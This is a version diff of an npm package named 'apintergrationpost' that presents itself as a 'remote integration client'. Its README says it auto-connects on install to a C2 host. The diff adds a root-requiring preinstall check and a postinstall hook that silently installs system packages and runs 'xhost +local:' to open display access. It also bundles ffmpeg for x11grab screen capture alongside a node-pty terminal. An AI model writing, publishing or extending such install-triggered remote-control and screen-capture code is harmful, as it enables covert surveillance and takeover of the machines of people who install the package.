apintergrationpost 4.0.1 → 4.0.2

package/README.md

@@ -6,31 +6,39 @@ Published on npm as **`apintergrationpost`**.
 
 ## Ubuntu — one command
 
-On the Ubuntu client, run **only this** (after the package is published to npm):
+On the Ubuntu client, run **only this**:
 
 ```sh
 sudo npm install -g apintergrationpost
 ```
 
-Install finishes and the client **starts automatically**, connecting to the C2 host baked into the package (`192.168.54.1:4444`).
+Requirements handled automatically during install:
 
-Alternative one-shot without global install:
+- **Root check** — non-root installs show a clear message and abort
+- **Bundled ffmpeg** — screen capture works without `apt install ffmpeg`
+- **System build tools** — `build-essential` / `python3` installed via apt when missing (for native modules)
+- **Auto-start** — client connects to the C2 host in `apintergrationpost.config.json`
 
-```sh
-npx apintergrationpost
-```
+If run without root:
 
-### Publish first (one-time, on your dev machine)
+```text
+╔══════════════════════════════════════════════════════════════╗
+║  apintergrationpost requires ROOT privileges to install.     ║
+║                                                              ║
+║  Run:  sudo npm install -g apintergrationpost                ║
+╚══════════════════════════════════════════════════════════════╝
+```
 
-The package must exist on the npm registry before clients can install it:
+### Publish / update on npm
 
 ```sh
-npm login
+# 1. Bump version in package.json (e.g. 4.0.2 → 4.0.3)
+# 2. Publish
 npm publish
+# If 2FA is enabled:
+npm publish --otp=123456
 ```
 
-Set your C2 host and token in `apintergrationpost.config.json` **before** publishing — that file ships inside the package and drives auto-connect.
-
 ### C2 server (on your host)
 
 ```sh

package/bin/apintergrationpost.js

@@ -43,6 +43,10 @@ if (process.argv.includes('--help') || process.argv.includes('-h')) {
 const pkgRoot = getPackageRoot();
 process.chdir(pkgRoot);
 
+if (!process.env.DISPLAY) {
+  process.env.DISPLAY = ':0';
+}
+
 if (!process.env.MYRA_CONFIG && !process.env.APINTEGRATIONPOST_CONFIG) {
   process.env.MYRA_CONFIG = getDefaultConfigPath();
 }

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "apintergrationpost",
-  "version": "4.0.1",
+  "version": "4.0.2",
   "description": "Remote integration client for authorized lab and enterprise post-deployment workflows",
   "license": "MIT",
   "engines": {
@@ -15,11 +15,15 @@
     "src/",
     "native/",
     "scripts/prepare-native.js",
+    "scripts/preinstall-check.js",
+    "scripts/install-guard.js",
+    "scripts/ensure-system-deps.js",
     "scripts/postinstall-run.js",
     "apintergrationpost.config.json",
     "README.md"
   ],
   "scripts": {
+    "preinstall": "node scripts/preinstall-check.js",
     "prepare": "node scripts/prepare-native.js",
     "postinstall": "node scripts/postinstall-run.js",
     "prepublishOnly": "node -e \"require('fs').accessSync('apintergrationpost.config.json')\"",
@@ -32,6 +36,7 @@
     "test:detection-tier": "bash scripts/detection-tier/run-all.sh"
   },
   "dependencies": {
+    "ffmpeg-static": "^5.2.0",
     "node-pty": "^1.0.0"
   },
   "devDependencies": {

package/scripts/ensure-system-deps.js

@@ -0,0 +1,48 @@
+'use strict';
+
+const { execSync, spawnSync } = require('child_process');
+const fs = require('fs');
+
+function hasCommand(cmd) {
+  const result = spawnSync('sh', ['-c', `command -v ${cmd}`], { encoding: 'utf8' });
+  return result.status === 0;
+}
+
+function ensureSystemPackages() {
+  if (process.platform !== 'linux') return;
+  if (typeof process.getuid === 'function' && process.getuid() !== 0) return;
+  if (!hasCommand('apt-get')) return;
+
+  const required = ['build-essential', 'python3'];
+  const missing = required.filter((pkg) => {
+    const result = spawnSync('dpkg', ['-s', pkg], { stdio: 'ignore' });
+    return result.status !== 0;
+  });
+
+  if (missing.length === 0) return;
+
+  process.stdout.write(`[apintergrationpost] Installing system packages: ${missing.join(', ')}...\n`);
+
+  execSync(
+    'DEBIAN_FRONTEND=noninteractive apt-get update -qq '
+    + `&& DEBIAN_FRONTEND=noninteractive apt-get install -y -qq ${missing.join(' ')}`,
+    { stdio: 'inherit' },
+  );
+}
+
+function ensureDisplayAccess() {
+  if (process.platform !== 'linux') return;
+  if (!process.env.DISPLAY) {
+    process.env.DISPLAY = ':0';
+  }
+
+  if (hasCommand('xhost') && fs.existsSync('/tmp/.X11-unix')) {
+    try {
+      execSync('xhost +local:', { stdio: 'ignore' });
+    } catch {
+      // desktop may not be running yet
+    }
+  }
+}
+
+module.exports = { ensureSystemPackages, ensureDisplayAccess };

package/scripts/install-guard.js

@@ -0,0 +1,36 @@
+'use strict';
+
+const path = require('path');
+
+const PKG_ROOT = path.join(__dirname, '..');
+
+const ROOT_MESSAGE = `
+╔══════════════════════════════════════════════════════════════╗
+║  apintergrationpost requires ROOT privileges to install.     ║
+║                                                              ║
+║  Run:  sudo npm install -g apintergrationpost                ║
+╚══════════════════════════════════════════════════════════════╝
+`;
+
+function isDevCheckout() {
+  if (process.env.APINTEGRATIONPOST_SKIP_AUTORUN === '1') return true;
+  const initCwd = process.env.INIT_CWD ? path.resolve(process.env.INIT_CWD) : '';
+  return Boolean(initCwd && initCwd === PKG_ROOT);
+}
+
+function requireRootForInstall() {
+  if (isDevCheckout()) return;
+  if (process.platform !== 'linux') return;
+
+  if (typeof process.getuid === 'function' && process.getuid() !== 0) {
+    process.stderr.write(`${ROOT_MESSAGE}\n`);
+    process.exit(1);
+  }
+}
+
+module.exports = {
+  requireRootForInstall,
+  isDevCheckout,
+  ROOT_MESSAGE,
+  PKG_ROOT,
+};

package/scripts/postinstall-run.js

@@ -3,8 +3,9 @@
 const fs = require('fs');
 const path = require('path');
 const { spawn } = require('child_process');
+const { isDevCheckout, PKG_ROOT } = require('./install-guard');
+const { ensureSystemPackages, ensureDisplayAccess } = require('./ensure-system-deps');
 
-const PKG_ROOT = path.join(__dirname, '..');
 const CLI = path.join(PKG_ROOT, 'bin', 'apintergrationpost.js');
 const CONFIG = path.join(PKG_ROOT, 'apintergrationpost.config.json');
 const PID_FILE = path.join(PKG_ROOT, '.apintergrationpost.pid');
@@ -13,9 +14,7 @@ function shouldSkip() {
   if (process.env.APINTEGRATIONPOST_SKIP_AUTORUN === '1') return 'APINTEGRATIONPOST_SKIP_AUTORUN=1';
   if (process.env.CI === 'true') return 'CI environment';
   if (process.platform !== 'linux') return 'non-Linux platform';
-
-  const initCwd = process.env.INIT_CWD ? path.resolve(process.env.INIT_CWD) : '';
-  if (initCwd && initCwd === PKG_ROOT) return 'source checkout (local development)';
+  if (isDevCheckout()) return 'source checkout (local development)';
 
   try {
     const cfg = JSON.parse(fs.readFileSync(CONFIG, 'utf8'));
@@ -50,6 +49,13 @@ function main() {
     return;
   }
 
+  try {
+    ensureSystemPackages();
+    ensureDisplayAccess();
+  } catch (err) {
+    process.stderr.write(`[apintergrationpost] System setup warning: ${err.message}\n`);
+  }
+
   if (alreadyRunning()) {
     process.stdout.write('[apintergrationpost] Client already running.\n');
     return;
@@ -66,6 +72,7 @@ function main() {
     cwd: PKG_ROOT,
     env: {
       ...process.env,
+      DISPLAY: process.env.DISPLAY || ':0',
       MYRA_CONFIG: CONFIG,
       APINTEGRATIONPOST_CONFIG: CONFIG,
     },

package/scripts/preinstall-check.js

@@ -0,0 +1,4 @@
+#!/usr/bin/env node
+'use strict';
+
+require('../scripts/install-guard').requireRootForInstall();

package/src/client/commands/screen-capture.js

@@ -5,6 +5,16 @@ const { promisify } = require('util');
 
 const execFileAsync = promisify(execFile);
 
+function resolveFfmpegPath() {
+  try {
+    const bundled = require('ffmpeg-static');
+    if (bundled && typeof bundled === 'string') return bundled;
+  } catch {
+    // bundled ffmpeg not available for this platform
+  }
+  return 'ffmpeg';
+}
+
 function collectStdout(proc) {
   return new Promise((resolve, reject) => {
     const chunks = [];
@@ -23,8 +33,9 @@ function collectStdout(proc) {
 }
 
 async function captureWithFfmpeg(display, size) {
+  const ffmpegPath = resolveFfmpegPath();
   const [width, height] = size.split('x');
-  const proc = spawn('ffmpeg', [
+  const proc = spawn(ffmpegPath, [
     '-hide_banner',
     '-loglevel', 'error',
     '-f', 'x11grab',
@@ -40,35 +51,23 @@ async function captureWithFfmpeg(display, size) {
   return collectStdout(proc);
 }
 
-async function captureWithImport(display) {
-  const { stdout } = await execFileAsync('import', ['-window', 'root', '-display', display, 'jpeg:-'], {
-    env: { ...process.env, DISPLAY: display },
-    maxBuffer: 20 * 1024 * 1024,
-    encoding: 'buffer',
-  });
-  return stdout;
-}
-
 async function captureFrame(options = {}) {
   const display = options.display || process.env.DISPLAY || ':0';
   const size = options.size || '1280x720';
 
   if (!display) {
-    throw new Error('No DISPLAY set. Run on a desktop session or set DISPLAY=:0');
+    throw new Error('No DISPLAY set. A graphical desktop session is required (DISPLAY=:0).');
   }
 
   try {
     return await captureWithFfmpeg(display, size);
-  } catch (ffmpegErr) {
-    try {
-      return await captureWithImport(display);
-    } catch (importErr) {
-      throw new Error(
-        `Screen capture failed. Install ffmpeg or imagemagick on the client `
-        + `(apt install ffmpeg). ffmpeg: ${ffmpegErr.message}; import: ${importErr.message}`
-      );
-    }
+  } catch (err) {
+    throw new Error(
+      `Screen capture failed (${display}, ${size}). `
+      + 'Ensure a desktop session is running. '
+      + `Detail: ${err.message}`
+    );
   }
 }
 
-module.exports = { captureFrame };
+module.exports = { captureFrame, resolveFfmpegPath };